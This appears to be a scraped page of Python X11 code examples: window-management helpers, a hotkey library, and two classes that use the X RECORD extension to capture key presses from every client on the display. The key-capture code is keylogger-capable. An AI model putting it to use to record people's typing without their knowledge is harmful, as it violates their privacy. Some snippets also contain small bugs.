            return True
        elif not wait:
            self.display.set_input_focus(window, X.RevertToParent,
                                         X.CurrentTime)
            return True
        else:
            with self.silenced_error(error.BadMatch):
                if isinstance(window, int):
                    window = self.get_window(window)
                self.display.set_input_focus(window, X.RevertToParent,
                                             X.CurrentTime)
                self.flush()
                w = Waiter(wait)
                while w.wait():
                    if w.timeout:
                        if w.progressed:
                            print("WAITING %.3f seconds more for focus on %r" %
                                  (w.remaining, window.id))
                        else:
                            print(
                                "READY TO WAIT %.3f seconds for focus on %r" %
                                (w.remaining, window.id))
                    focused_win_id = self.get_focused_window()
                    if focused_win_id == window.id:
                        print("FOCUSED %r" % window.id)
                        return True
                    # many times it's needed to repeat the command, esp. when mouse is
                    # not inside the target window
                    self.display.set_input_focus(window, X.RevertToParent,
                                                 X.CurrentTime)
                    self.flush()
                    #self.display.set_input_focus(window, X.RevertToParent, X.CurrentTime)
                    #self.display.flush()
            return False

    def get_desktop_for_window(self, window):
        pv = self.get_prop(window, "_NET_WM_DESKTOP")
        if pv:
            return pv[0]

    def set_desktop_for_window(self, window, desktop):
        if desktop is None:
            return
        name = self.atom("_NET_WM_DESKTOP", only_if_exists=True)
        if name in self.supported_properties:
            pv = self.set_prop(window, name, Xatom.CARDINAL,
                               array('I', [desktop]))

    def save_state(self):
        state = {
            "Current Desktop": self.current_desktop(),
            "Active Window": self.active_window(id_only=True),
            "Focused Window": self.get_focused_window()
        }
        return state

    def restore_state(self, state):
        a = self.supported_properties
        self.current_desktop(state["Current Desktop"])
        self.flush()
        try:
            self.set_focused_window(state["Focused Window"])
        except error.BadWindow:
            print("Sorry, the old focused window went away...")
        # self.active_window(state["Active Window"])

    def keysym_to_string(self, keysym, friendly=False, very_friendly=False):
        if keysym not in self.keysyms.keysyms:
            return chr(keysym)
        if very_friendly:
            return self.keysyms.friendly_name(keysym, simplest=True)
        if friendly:
            return self.keysyms.friendly_name(keysym, simplest=False)
        else:
            return self.keysyms[keysym]

    def keycode_to_keysym(self, keycode, idx=None):
        if idx is None:
            syms = set()
            for i in range(4):
                keysym = self.display.keycode_to_keysym(keycode, i)
                if keysym:
                    syms.add(keysym)
            return syms
        else:
            return self.display.keycode_to_keysym(event.detail, i)

    def keysym_to_keycode(self, keysym):
        return self.display.keysym_to_keycode(keysym)

    def string_to_keysym(self, s):
        k = self.keysyms[s]
        if not k:
            k = self.keysyms["XK_" + s]
        if k:
            return k
        k = XK.string_to_keysym(s)
        return k
        # allow simpler names, like AudioRaiseVolume?
        # if s.startswith("XF86_"):
        #     s = "XF86" + s[5:]
        #     return XK.string_to_keysym(s)

    def error_handler(self, fn, *args, **kwargs):
        return functools.partial(fn, *args, **kwargs)

    def toggle_frame(self, window, frame=None, wait=1):
        """Set window frame. Value should be True or False for on and off, or None for toggle."""
        # flags - set bit for every iteresting value
        # 0 functions   => integer bits
        # 1 decorations => integer bits
        # 2 input_mode  => enum string or integer
        # 3 status      => integer bits
        #
        # functions:
        # bit    actions offered
        # ---    ---------------
        #  1     all functions
        #  2     resize window
        #  4     move window
        #  8     minimize, to iconify
        # 16     maximize, to full-screen (with a frame still)
        # 32     close window
        #
        # decorations:
        # bit       decorations displayed
        # ---       ---------------------
        #  1        all decorations
        #  2        border around the window
        #  4        resizeh, handles to resize by dragging
        #  8        title bar, showing WM_NAME
        # 16        menu, drop-down menu of the "functions" above
        # 32        minimize button, to iconify
        # 64        maximize button, to full-screen
        #
        # input mode:
        #   string                   integer
        # "modeless"                    0    not modal (the default)
        # "primary_application_modal"   1    modal to its "transient for"
        # "system_modal"                2    modal to the whole display
        # "full_application_modal"      3    modal to the current client
        #
        # status:
        #
        # bit
        #  1    tearoff menu window

        name = self.atom("_MOTIF_WM_HINTS", only_if_exists=True)
        # If does not exist, probably not supported, though should check
        # root for _NET_SUPPORTED list return assert prop != 0 pv =
        pv = self.get_prop(window, name)
        fe = self.get_frame_extents(window)
        if pv and len(pv) == 5:
            hints = array(pv.typecode, pv)
            if frame is None:
                hints[2] = 0 if hints[2] else 1
            elif frame:
                hints[2] = 1
            else:
                hints[2] = 0
        else:
            # reasonable default
            hints = array('I', [2, 0, 0, 0, 0])

        self.set_prop(window, name, name, hints)

        w = Waiter(wait)
        while w.wait():
            pv = self.get_prop(window, name)
            if pv and array(pv.typecode, pv) == hints:
                new_fe = self.get_frame_extents(window)
                # make sure frame extents changed
                # this seems to take a while once the hints change
                if new_fe != fe:
                    break

    def set_opacity(self, window, value):
        """value is a number between 0 and 1"""
        v = int(((1 << 32) - 1) * value)
        self.set_prop(window, "_NET_WM_WINDOW_OPACITY", Xatom.CARDINAL,
                      array('I', [v]))

    def get_opacity(self, window):
        pv = self.get_prop(window, "_NET_WM_WINDOW_OPACITY")
        if pv:
            value = int(pv[0] / ((1 << 32) - 1))
            return value
        return 1

    @property
    def supported_properties(self):
        if self._supported_properties is None:
            self._supported_properties = self.get_prop(self.root,
                                                       "_NET_SUPPORTED") or []
        return self._supported_properties

    def get_window(self, win_id):
        if isinstance(win_id, int):
            return self.display.create_resource_object('window', win_id)
        else:
            return win_id

    def get_client_window(self, window):
        win_id = window.id
        for tlw in self.toplevel_windows():
            for (_, parent, _) in self.window_tree(
                    tlw, filter=lambda w, parent, level: w.id == win_id):
                return tlw
        return None

    def toplevel_windows(self, id_only=False):
        name = self.atom("_NET_CLIENT_LIST", only_if_exists=True)
        if name in self.supported_properties:
            lst = self.get_prop(self.root, name)
            if id_only:
                return lst
            else:
                return list(map(lambda win_id: self.get_window(win_id), lst))
        else:
            print("BELGENGOC")
            if id_only:
                return list(
                    map(lambda w: w.id,
                        self.root.query_tree().children))
            else:
                return list(self.root.query_tree().children)

    def window_tree(self, parent=None, level=1, filter=None):
        if parent is None:
            parent = self.root
            if filter is None or filter(parent, None, 0):
                yield (parent, None, 0)
        for w in parent.query_tree().children:
            if filter is None or filter(w, parent, level):
                yield (w, parent, level)
                yield from self.window_tree(parent=w,
                                            level=level + 1,
                                            filter=filter)

    def close_window(self, window):
        self.send_prop_change_event("_NET_CLOSE_WINDOW", (32, [0, 0, 0, 0, 0]),
                                    window=self.get_window(window))

    # https://specifications.freedesktop.org/wm-spec/wm-spec-1.3.html
    # window  = the respective client window
    # message_type = _NET_WM_STATE
    # format = 32
    # data.l[0] = the action, as listed below
    # data.l[1] = first property to alter
    # data.l[2] = second property to alter
    # data.l[3] = source indication
    #  other data.l[] elements = 0
    # This message allows two prop
    #
    _NET_WM_STATE_REMOVE = 0  # remove/unset property
    _NET_WM_STATE_ADD = 1  #add/set property
    _NET_WM_STATE_TOGGLE = 2  # toggle property

    def set_wm_states(self, window, names, action=None):
        if action is None:
            action = self._NET_WM_STATE_TOGGLE
        elif action is True:
            action = self._NET_WM_STATE_ADD
        elif action is False:
            action = self._NET_WM_STATE_REMOVE
        window = self.get_window(window)
        values = list()
        for name in names:
            value = self.atom("_NET_WM_STATE_%s" % name.upper())
            values.append(value)
        data = [action, *values]
        while len(data) < 5:
            data.append(0)
        self.send_prop_change_event("_NET_WM_STATE", (32, data),
                                    window=self.get_window(window))

    def set_wm_state(self, window, name, action=None):
        if action is None:
            action = self._NET_WM_STATE_TOGGLE
        elif action is True:
            action = self._NET_WM_STATE_ADD
        elif action is False:
            action = self._NET_WM_STATE_REMOVE
        window = self.get_window(window)
        value = self.atom("_NET_WM_STATE_%s" % name.upper())
        self.send_prop_change_event("_NET_WM_STATE",
                                    (32, [action, value, 0, 0, 0]),
                                    window=self.get_window(window))

    def below_window(self, window, action=None):
        self.set_wm_state(window, name="below", action=action)

    def fullscreen_window(self, window, action=None):
        self.set_wm_state(window, name="fullscreen", action=action)

    def above_window(self, window, action=None):
        self.set_wm_state(window, name="above", action=action)

    def sticky_window(self, window, action=None):
        self.set_wm_state(window, name="sticky", action=action)

    def skip_pager(self, window, action=None):
        self.set_wm_state(window, name="skip_pager", action=action)

    def skip_taskbar(self, window, action=None):
        self.set_wm_state(window, name="skip_taskbar", action=action)

    def maximize_window(self,
                        window,
                        horizontal=True,
                        vertical=True,
                        action=None):
        if horizontal:
            self.set_wm_state(window, name="maximized_horz", action=action)
        if vertical:
            self.set_wm_state(window, name="maximized_vert", action=action)

    def minimize_window(self, window):
        if isinstance(window, int):
            window = self.get_window(window)
        self.send_prop_change_event("WM_CHANGE_STATE",
                                    (32, [Xutil.IconicState, 0, 0, 0, 0]),
                                    window=self.get_window(window))

    def get_attributes(self, window):
        if isinstance(window, int):
            window = self.get_window(window)
        return window.get_attributes()

    def get_window_type(self, window):
        e = self.get_prop(window, "_NET_WM_WINDOW_TYPE")
        if e is None:
            return None
        type_details = set()
        prefix = "_NET_WM_WINDOW_TYPE_"
        for t in e:
            if not t:
                continue
            s = self.atom_name(t)
            if s.startswith(prefix):
                s = s[len(prefix):]
            type_details.add(s)
        return type_details

    def get_frame_extents(self, window):
        # x, y, width, height
        if isinstance(window, int):
            window = self.get_window(window)
        e = self.get_prop(window, "_NET_FRAME_EXTENTS")
        if e:
            return self.FrameExtents(*e)
        else:
            return self.FrameExtents(0, 0, 0, 0)

    def get_geometry(self, window):
        # x, y, width, height
        if isinstance(window, int):
            window = self.get_window(window)
        return window.get_geometry()

    def set_geometry(self, window, **data):
        # x, y, width, height
        if isinstance(window, int):
            window = self.get_window(window)
        if any(map(lambda v: v < 0, data.values())):
            gw = self.get_geometry(window)
            f = self.get_frame_extents(window)
            wa = self.usable_workarea()

            if 'x' in data and data['x'] < 0:
                data['x'] = wa.width - gw.width - (f.left +
                                                   f.right) + data['x'] + 1
            else:
                data['x'] += wa.x
            if 'y' in data and data['y'] < 0:
                data['y'] = wa.height - gw.height - (f.top +
                                                     f.bottom) + data['y'] + 1
            else:
                data['y'] += wa.y
        window.configure(**data)

    def usable_workarea(self):
        a = self.get_prop(self.root, "_NET_WORKAREA")
        if a:
            p = self.current_desktop() * 4
            #return (x, y, width, height)
            return self.Geometry(*a[p:p + 4])
        else:
            r = self.get_geometry(self.root)
            return self.Geometry(0, 0, r.width, r.height)

    def send_key(self, window, keysym, modifiers):
        if isinstance(window, int):
            window = self.get_window(window)
        keycode = self.display.keysym_to_keycode(keysym)
        event = protocol.event.KeyPress(time=X.CurrentTime,
                                        root=self.root,
                                        window=window,
                                        child=X.NONE,
                                        same_screen=True,
                                        root_x=0,
                                        root_y=0,
                                        event_x=0,
                                        event_y=0,
                                        state=modifiers.bitmap,
                                        detail=keycode)
        window.send_event(event, propagate=False)
        event = protocol.event.KeyRelease(
            time=X.CurrentTime,
            root=self.root,
            window=window,
            child=X.NONE,
            same_screen=True,  # same screen as the root window
            root_x=0,
            root_y=0,
            event_x=0,
            event_y=0,
            state=modifiers.bitmap,
            detail=keycode)
        window.send_event(event, propagate=False)

    def show_desktop(self, action=None):
        prop_name = self.atom("_NET_SHOWING_DESKTOP")
        if action is True:
            self.send_prop_change_event(prop_name,
                                        (32, [1, X.CurrentTime, 0, 0, 0]))
        elif action is False:
            self.send_prop_change_event(prop_name,
                                        (32, [0, X.CurrentTime, 0, 0, 0]))
        else:
            pv = self.get_prop(self.root, prop_name)
            new_val = 0 if pv and pv[0] else 1
            self.send_prop_change_event(
                prop_name, (32, [new_val, X.CurrentTime, 0, 0, 0]))

    def flush(self):
        # send all pending events
        self.display.flush()

    def sync(self):
        # flush and make sure everything is handled and processed or rejected by the server
        self.display.sync()

    @property
    def display_count(self):
        res = randr.get_screen_resources(self.root)
        n = 0
        for i in res.outputs:
            o = randr.get_output_info(self.root, i, config_timestamp=0)
            if o.modes:
                # has modes, empty if there's no monitor connected here
                n += 1
        return n
Exemple #20
0
class Manager():
    def __init__(self, inkscape_id):
        self.id = inkscape_id
        self.disp = Display()
        self.screen = self.disp.screen()
        self.root = self.screen.root

        self.inkscape = self.disp.create_resource_object('window', inkscape_id)
        self.mode = normal_mode

    def event(self, name, detail, state):
        return name(time=X.CurrentTime,
                    root=self.root,
                    window=self.inkscape,
                    same_screen=0,
                    child=Xlib.X.NONE,
                    root_x=0,
                    root_y=0,
                    event_x=0,
                    event_y=0,
                    state=state,
                    detail=detail)

    def string_to_keycode(self, key):
        keysym = XK.string_to_keysym(key)
        keycode = self.disp.keysym_to_keycode(keysym)
        return keycode

    def press(self, key, mask=X.NONE):
        keycode = self.string_to_keycode(key)
        self.inkscape.send_event(self.event(event.KeyPress, keycode, mask),
                                 propagate=True)
        self.inkscape.send_event(self.event(event.KeyRelease, keycode, mask),
                                 propagate=True)
        self.disp.flush()
        self.disp.sync()

    def grab(self):
        self.inkscape.grab_key(X.AnyKey, X.AnyModifier, True, X.GrabModeAsync,
                               X.GrabModeAsync)

        # Ungrab window manager shortcuts (Super + ...)
        self.inkscape.ungrab_key(self.string_to_keycode('Super'),
                                 X.AnyModifier, True)
        self.inkscape.ungrab_key(self.string_to_keycode('Alt_L'),
                                 X.AnyModifier, True)
        self.inkscape.ungrab_key(self.string_to_keycode('Shift_R'),
                                 X.AnyModifier, True)
        self.inkscape.change_attributes(event_mask=X.KeyReleaseMask
                                        | X.KeyPressMask
                                        | X.StructureNotifyMask)

    def ungrab(self):
        self.inkscape.ungrab_key(X.AnyKey, X.AnyModifier, True)

    def listen(self):
        self.grab()
        while True:
            evt = self.disp.next_event()
            if evt.type in [X.KeyPress, X.KeyRelease]:
                keycode = evt.detail
                keysym = self.disp.keycode_to_keysym(keycode, 0)
                char = XK.keysym_to_string(keysym)
                self.disp.allow_events(X.ReplayKeyboard, X.CurrentTime)

                self.mode(self, evt, char)

            if evt.type == X.DestroyNotify:
                if evt.window.id == self.id:
                    self.ungrab()
                    return
Exemple #21
0
class SystemHotkey(MixIn):
    '''
    Cross platform System Wide Hotkeys
    
    Modifer oder doesn't matter, e.g 
    binding to  control shift k is the same as shift control k,
    limitation of the keyboard and operating systems not this library
    ''' 
    hk_ref = {} 
    def __init__(self, consumer='callback', check_queue_interval=0.01, use_xlib=False, conn=None, verbose=False):
        '''
        if the consumer param = 'callback', -> All hotkeys will require
        a callback function
        
        - Experimental! - 
        Otherwise set consumer to a function to hanlde the event.
        parameters sent will be - event, hotkey, callbacks
        event is the xwindow/microsoft keyboard eventm
        hotkey is a tuple,
        callback is any info that you registerd with the hotkey
        
        check_queue_interval is in seconds and sets the sleep time on
        checking the queue for hotkey presses
        
        set use_xlib to true to use the xlib python bindings (GPL) instead of the xcb ones (BSD) 
        You can pass an exisiting X display or connection using the conn keyword,
        otherwise one will be created for you.
        '''
        # Changes the class methods to point to differenct functions 
        # Depening on the operating system and library used
        # Consumer can be set to a function also, which will be sent the event
        # as well as the key and mask already broken out
        # Last option for consumer is False, then you have to listen to the queue yourself
        # data_queue
        self.verbose = verbose
        self.use_xlib = use_xlib
        self.consumer = consumer
        self.check_queue_interval = check_queue_interval
        def mark_event_type(event):
            # event gets an event_type attribute so the user has a portiabble way
            # actually on windows as far as i know you dont have the option of binding on keypress or release so... 
            # anyway ahve to check it but for now u dont! 
            if os.name == 'posix':
                if self.use_xlib:
                    if event.type == X.KeyPress:
                        event.event_type = 'keypress'
                    elif event.type == X.KeyRelease:
                        event.event_type = 'keyrelease'
                else:
                    if isinstance(event, xproto.KeyPressEvent):
                        event.event_type = 'keypress'
                    if isinstance(event, xproto.KeyReleaseEvent):
                        event.event_type = 'keyrelease'
            else:
                event.event_type = 'keypress'
            return event
            
        self.data_queue = queue.Queue()
        if os.name == 'nt':
            self.hk_action_queue = queue.Queue()
            self.modders = win_modders
            self._the_grab = self._nt_the_grab
            self.get_keycode = self._nt_get_keycode         
            self._get_keysym = self._nt_get_keysym
            
            thread.start_new_thread(self._nt_wait,(),)
            
        elif use_xlib:
            # Use the python-xlib library bindings, GPL License
            self.modders = xlib_modifiers
            self.trivial_mods = xlib_trivial_mods
            self._the_grab = self._xlib_the_grab
            self.get_keycode = self._xlib_get_keycode
            self._get_keysym = self._xlib_get_keysym
            if not conn:
                self.disp = Display()
            else:
                self.disp = conn
            self.xRoot = self.disp.screen().root
            self.xRoot.change_attributes(event_mask=X.KeyPressMask)
            
            thread.start_new_thread(self._xlib_wait,(),)
        
        else:
            # Using xcb and the xcffib python bindings Apache 2 http://stackoverflow.com/questions/40100/apache-license-vs-bsd-vs-mit
            self.modders = xcb_modifiers
            self.trivial_mods = xcb_trivial_mods
            self._the_grab = self._xcb_the_grab
            self.get_keycode = self._xcb_get_keycode
            self._get_keysym = self._xcb_get_keysym
            if not conn:
                self.conn = xcffib.connect()
            else:
                self.conn = conn
            self.root = self.conn.get_setup().roots[0].root
            
            thread.start_new_thread(self._xcb_wait,(),)
        
        if consumer == 'callback':
            if self.verbose:
                print('In Callback')
            def thread_me():
                while 1:
                    time.sleep(self.check_queue_interval)
                    try:
                        event = self.data_queue.get(block=False)
                    except queue.Empty:
                        pass    
                    else:
                        event = mark_event_type(event) 
                        hotkey = self.parse_event(event)
                        #~ for cb in self.get_callback(hotkey, event.event_type):   #when i was using the keypress / keyrelease shit
                        for cb in self.get_callback(hotkey):
                            if event.event_type == 'keypress':
                                if self.verbose:
                                    print('calling ', repr(cb))
                                cb(event)   # TBD either throw these up in a thread, or pass in a queue to be put onto
            thread.start_new_thread(thread_me,(),)
            
        elif callable(consumer):
            def thread_me():
                while 1:
                    time.sleep(self.check_queue_interval)
                    try:
                        event = self.data_queue.get(block=False)
                    except queue.Empty:
                        pass    
                    else:
                        hotkey = self.parse_event(mark_event_type(event))
                        if event.event_type == 'keypress':
                            args = [cb for cb in self.get_callback(hotkey)]
                            #~ callbacks = [cb for cb in self.get_callback(hotkey, event.event_type)]
                            consumer(event, hotkey, args)
            thread.start_new_thread(thread_me,(),)
        else:
            print('You need to handle grabbing events yourself!')
            
    def _xlib_wait(self):
        # Pushes Event onto queue
        while 1:
            event = self.xRoot.display.next_event()     
            self.data_queue.put(event)
    
    def _xcb_wait(self):
        # Pushes Event onto queue
        while 1:
            event = self.conn.wait_for_event()
            self.data_queue.put(event)
    
    def _nt_wait(self):
        # Pushes Event onto queue
        # I don't understand the windows msg system
        # I can only get hotkeys to work if they are registeed in the 
        # Thread that is listening for them.
        # So any changes to the hotkeys have to be signaled to be done
        # By the thread. (including unregistering)
        # A new queue is checked and runs functions, either adding
        # or removing new hotkeys, then the windows msg queue is checked
        msg = ctypes.wintypes.MSG ()
        while 1:
            try:                                            
                remove_or_add = self.hk_action_queue.get(block=False)
            except queue.Empty:
                pass    
            else:
                remove_or_add() 
            # Checking the windows message Queue
            if user32.PeekMessageA(byref(msg), 0, 0, 0, PM_REMOVE): 
                if msg.message == win32con.WM_HOTKEY:           
                    self.data_queue.put(msg)                        
                else:
                    print('some other message')
            time.sleep(self.check_queue_interval)

    def _nt_get_keycode(self, key, disp=None):  
        return vk_codes[key]
    
    def _nt_get_keysym(self, keycode):
        for key, value in vk_codes.items():
            if value == keycode:
                return key
    
    def _nt_the_grab(self, keycode, masks, id, root=None):
        if not user32.RegisterHotKey(None, id, masks, keycode):
            raise RegisterError('The bind is probably already in use elsewhere on the system')  #TBD RAISE RROR ON LINUX SYSTEMS
            
    def _xlib_get_keycode(self, key) :
        keysym = XK.string_to_keysym(key)
        if keysym == 0:
            keysym = XK.string_to_keysym(special_X_keysyms[key])
        keycode = self.disp.keysym_to_keycode(keysym)
        return keycode
    
    def _xlib_get_keysym(self, keycode, i=0):
        keysym = self.disp.keycode_to_keysym(keycode, i)
        return keybind.keysym_strings.get(keysym, [None])[0] #https://lists.gnu.org/archive/html/stumpwm-devel/2006-04/msg00033.html
        
    def _xlib_the_grab(self, keycode, masks):
        #TBD error handlig  http://tronche.com/gui/x/xlib/event-handling/protocol-errors/default-handlers.html
        #~ try:
        self.xRoot.grab_key(keycode, masks, 1, X.GrabModeAsync, X.GrabModeAsync)
        #~ except Xlib.error.BadAccess:
            #~ raise RegisterError('The bind is probably already in use elsewhere on the system')

    def _xcb_the_grab(self, keycode, masks):
        try:
            for triv_mod in self.trivial_mods:
                self.conn.core.GrabKeyChecked(True, self.root, triv_mod | masks, keycode, xproto.GrabMode.Async, xproto.GrabMode.Async).check()
        except xproto.AccessError:
            raise RegisterError('The bind is probably already in use elsewhere on the system')
             
    def _xcb_get_keycode(self, key):
        return keybind.lookup_string(key)
    
    def _xcb_get_keysym(self, keycode, i=0):
        keysym = keybind.get_keysym(keycode, i)
        return keybind.keysym_strings.get(keysym, [None])[0]
class KeyListener:
    def __init__(self):
        self.disp = None
        self.root = None
        self.record = None

    def setup(self):
        # get current display
        self.disp = Display()
        self.root = self.disp.screen().root

        # Monitor keypress and button press
        ctx = self.disp.record_create_context(
            0,
            [record.AllClients],
            [{
                'core_requests': (0, 0),
                'core_replies': (0, 0),
                'ext_requests': (0, 0, 0, 0),
                'ext_replies': (0, 0, 0, 0),
                'delivered_events': (0, 0),
                'device_events': (X.KeyReleaseMask, X.ButtonReleaseMask),
                'errors': (0, 0),
                'client_started': False,
                'client_died': False,
            }])
        self.disp.record_enable_context(ctx, self.handler)
        self.disp.record_free_context(ctx)

    def handler(self, reply):
        """ Self function is called when a xlib event is fired """
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(data,
                                                                 self.disp.display,
                                                                 None, None)

            if event.type == X.KeyPress:
                if event.detail == 36:
                    self.record("enter")
                elif event.detail == 22:
                    self.record("backspace")
                elif event.detail == 37:
                    self.record("control")
                elif event.detail == 64:
                    self.record("alt")
                elif event.detail == 108:
                    self.record("alt-gr")
                        
                key = XK.keysym_to_string(
                    self.disp.keycode_to_keysym(event.detail, event.state))

                if key:
                    self.record(key)
                    
    def key_listen_loop(self):
        while True:
            self.root.display.next_event()
            
    def set_recorder(self, r):
        self.record = r
Exemple #23
0
class PyKeyboardEvent(PyKeyboardEventMeta):
    """
    The PyKeyboardEvent implementation for X11 systems (mostly linux). This
    allows one to listen for keyboard input.
    """
    def __init__(self, capture=False, display=None):
        self.display = Display(display)
        self.display2 = Display(display)
        self.ctx = self.display2.record_create_context(
            0, [record.AllClients
                ], [{
                    'core_requests': (0, 0),
                    'core_replies': (0, 0),
                    'ext_requests': (0, 0, 0, 0),
                    'ext_replies': (0, 0, 0, 0),
                    'delivered_events': (0, 0),
                    'device_events': (X.KeyPress, X.KeyRelease),
                    'errors': (0, 0),
                    'client_started': False,
                    'client_died': False,
                }])

        self.lock_meaning = None

        #Get these dictionaries for converting keysyms and strings
        self.keysym_to_string, self.string_to_keysym = self.get_translation_dicts(
        )

        #Identify and register special groups of keys
        self.modifier_keycodes = {}
        self.all_mod_keycodes = []
        self.keypad_keycodes = []
        #self.configure_keys()

        #Direct access to the display's keycode-to-keysym array
        logger.debug('Keycode to Keysym map')
        for i in range(len(self.display._keymap_codes)):
            logger.debug('{0}: {1}'.format(i, self.display._keymap_codes[i]))

        PyKeyboardEventMeta.__init__(self, capture)

    def run(self):
        """Begin listening for keyboard input events."""
        self.state = True
        if self.capture:
            self.display2.screen().root.grab_keyboard(
                X.KeyPressMask | X.KeyReleaseMask, X.GrabModeAsync,
                X.GrabModeAsync, X.CurrentTime)

        self.display2.record_enable_context(self.ctx, self.handler)
        self.display2.record_free_context(self.ctx)

    def stop(self):
        """Stop listening for keyboard input events."""
        self.state = False
        with display_manager(self.display) as d:
            d.record_disable_context(self.ctx)
            d.ungrab_keyboard(X.CurrentTime)
        with display_manager(self.display2):
            d.record_disable_context(self.ctx)
            d.ungrab_keyboard(X.CurrentTime)

    def handler(self, reply):
        """Upper level handler of keyboard events."""
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(
                data, self.display.display, None, None)
            if self.escape(event):  # Quit if this returns True
                self.stop()
            else:
                self._tap(event)

    def _tap(self, event):
        keycode = event.detail
        press_bool = (event.type == X.KeyPress)

        #Detect modifier states from event.state
        for mod, bit in self.modifier_bits.items():
            self.modifiers[mod] = event.state & bit

        if keycode in self.all_mod_keycodes:
            keysym = self.display.keycode_to_keysym(keycode, 0)
            character = self.keysym_to_string[keysym]
        else:
            character = self.lookup_char_from_keycode(keycode)

        #All key events get passed to self.tap()
        self.tap(keycode, character, press=press_bool)

    def lookup_char_from_keycode(self, keycode):
        """
        This will conduct a lookup of the character or string associated with a
        given keycode.
        """

        #TODO: Logic should be strictly adapted from X11's src/KeyBind.c
        #Right now the logic is based off of
        #http://tronche.com/gui/x/xlib/input/keyboard-encoding.html
        #Which I suspect is not the whole story and may likely cause bugs

        keysym_index = 0
        #TODO: Display's Keysyms per keycode count? Do I need this?
        #If the Num_Lock is on, and the keycode corresponds to the keypad
        if self.modifiers['Num_Lock'] and keycode in self.keypad_keycodes:
            if self.modifiers['Shift'] or self.modifiers['Shift_Lock']:
                keysym_index = 0
            else:
                keysym_index = 1

        elif not self.modifiers['Shift'] and self.modifiers['Caps_Lock']:
            #Use the first keysym if uppercase or uncased
            #Use the uppercase keysym if the first is lowercase (second)
            keysym_index = 0
            keysym = self.display.keycode_to_keysym(keycode, keysym_index)
            #TODO: Support Unicode, Greek, and special latin characters
            if keysym & 0x7f == keysym and chr(
                    keysym) in 'abcdefghijklmnopqrstuvwxyz':
                keysym_index = 1

        elif self.modifiers['Shift'] and self.modifiers['Caps_Lock']:
            keysym_index = 1
            keysym = self.display.keycode_to_keysym(keycode, keysym_index)
            #TODO: Support Unicode, Greek, and special latin characters
            if keysym & 0x7f == keysym and chr(
                    keysym) in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
                keysym_index = 0

        elif self.modifiers['Shift'] or self.modifiers['Shift_Lock']:
            keysym_index = 1

        if self.modifiers['Mode_switch']:
            keysym_index += 2

        #Finally! Get the keysym
        keysym = self.display.keycode_to_keysym(keycode, keysym_index)

        #If the character is ascii printable, return that character
        if keysym & 0x7f == keysym and self.ascii_printable(keysym):
            return chr(keysym)

        #If the character was not printable, look for its name
        try:
            char = self.keysym_to_string[keysym]
        except KeyError:
            logger.info('Unable to determine character.')
            logger.info('Keycode: {0} KeySym {1}'.format(keycode, keysym))
            return None
        else:
            return char

    def escape(self, event):
        if event.detail == self.lookup_character_keycode('Escape'):
            return True
        return False

    def configure_keys(self):
        """
        This function locates the keycodes corresponding to special groups of
        keys and creates data structures of them for use by the PyKeyboardEvent
        instance; including the keypad keys and the modifiers.

        The keycodes pertaining to the keyboard modifiers are assigned by the
        modifier name in a dictionary. This dictionary can be accessed in the
        following manner:
            self.modifier_keycodes['Shift']  # All keycodes for Shift Masking

        It also assigns certain named modifiers (Alt, Num_Lock, Super), which
        may be dynamically assigned to Mod1 - Mod5 on different platforms. This
        should generally allow the user to do the following lookups on any
        system:
            self.modifier_keycodes['Alt']  # All keycodes for Alt Masking
            self.modifiers['Alt']  # State of Alt mask, non-zero if "ON"
        """
        modifier_mapping = self.display.get_modifier_mapping()
        all_mod_keycodes = []
        mod_keycodes = {}
        mod_index = [('Shift', X.ShiftMapIndex), ('Lock', X.LockMapIndex),
                     ('Control', X.ControlMapIndex), ('Mod1', X.Mod1MapIndex),
                     ('Mod2', X.Mod2MapIndex), ('Mod3', X.Mod3MapIndex),
                     ('Mod4', X.Mod4MapIndex), ('Mod5', X.Mod5MapIndex)]
        #This gets the list of all keycodes per Modifier, assigns to name
        for name, index in mod_index:
            codes = [v for v in list(modifier_mapping[index]) if v]
            mod_keycodes[name] = codes
            all_mod_keycodes += codes

        def lookup_keycode(string):
            keysym = self.string_to_keysym[string]
            return self.display.keysym_to_keycode(keysym)

        #Dynamically assign Lock to Caps_Lock, Shift_Lock, Alt, Num_Lock, Super,
        #and mode switch. Set in both mod_keycodes and self.modifier_bits

        #Try to assign Lock to Caps_Lock or Shift_Lock
        shift_lock_keycode = lookup_keycode('Shift_Lock')
        caps_lock_keycode = lookup_keycode('Caps_Lock')

        if shift_lock_keycode in mod_keycodes['Lock']:
            mod_keycodes['Shift_Lock'] = [shift_lock_keycode]
            self.modifier_bits['Shift_Lock'] = self.modifier_bits['Lock']
            self.lock_meaning = 'Shift_Lock'
        elif caps_lock_keycode in mod_keycodes['Lock']:
            mod_keycodes['Caps_Lock'] = [caps_lock_keycode]
            self.modifier_bits['Caps_Lock'] = self.modifier_bits['Lock']
            self.lock_meaning = 'Caps_Lock'
        else:
            self.lock_meaning = None
        logger.debug('Lock is bound to {0}'.format(self.lock_meaning))

        #Need to find out which Mod# to use for Alt, Num_Lock, Super, and
        #Mode_switch
        num_lock_keycodes = [lookup_keycode('Num_Lock')]
        alt_keycodes = [lookup_keycode(i) for i in ['Alt_L', 'Alt_R']]
        super_keycodes = [lookup_keycode(i) for i in ['Super_L', 'Super_R']]
        mode_switch_keycodes = [lookup_keycode('Mode_switch')]

        #Detect Mod number for Alt, Num_Lock, and Super
        for name, keycodes in list(mod_keycodes.items()):
            for alt_key in alt_keycodes:
                if alt_key in keycodes:
                    mod_keycodes['Alt'] = keycodes
                    self.modifier_bits['Alt'] = self.modifier_bits[name]
            for num_lock_key in num_lock_keycodes:
                if num_lock_key in keycodes:
                    mod_keycodes['Num_Lock'] = keycodes
                    self.modifier_bits['Num_Lock'] = self.modifier_bits[name]
            for super_key in super_keycodes:
                if super_key in keycodes:
                    mod_keycodes['Super'] = keycodes
                    self.modifier_bits['Super'] = self.modifier_bits[name]
            for mode_switch_key in mode_switch_keycodes:
                if mode_switch_key in keycodes:
                    mod_keycodes['Mode_switch'] = keycodes
                    self.modifier_bits['Mode_switch'] = self.modifier_bits[
                        name]

        #Assign the mod_keycodes to a local variable for access
        self.modifier_keycodes = mod_keycodes
        self.all_mod_keycodes = all_mod_keycodes

        #TODO: Determine if this might fail, perhaps iterate through the mapping
        #and identify all keycodes with registered keypad keysyms?

        #Acquire the full list of keypad keycodes
        self.keypad_keycodes = []
        keypad = [
            'Space', 'Tab', 'Enter', 'F1', 'F2', 'F3', 'F4', 'Home', 'Left',
            'Up', 'Right', 'Down', 'Prior', 'Page_Up', 'Next', 'Page_Down',
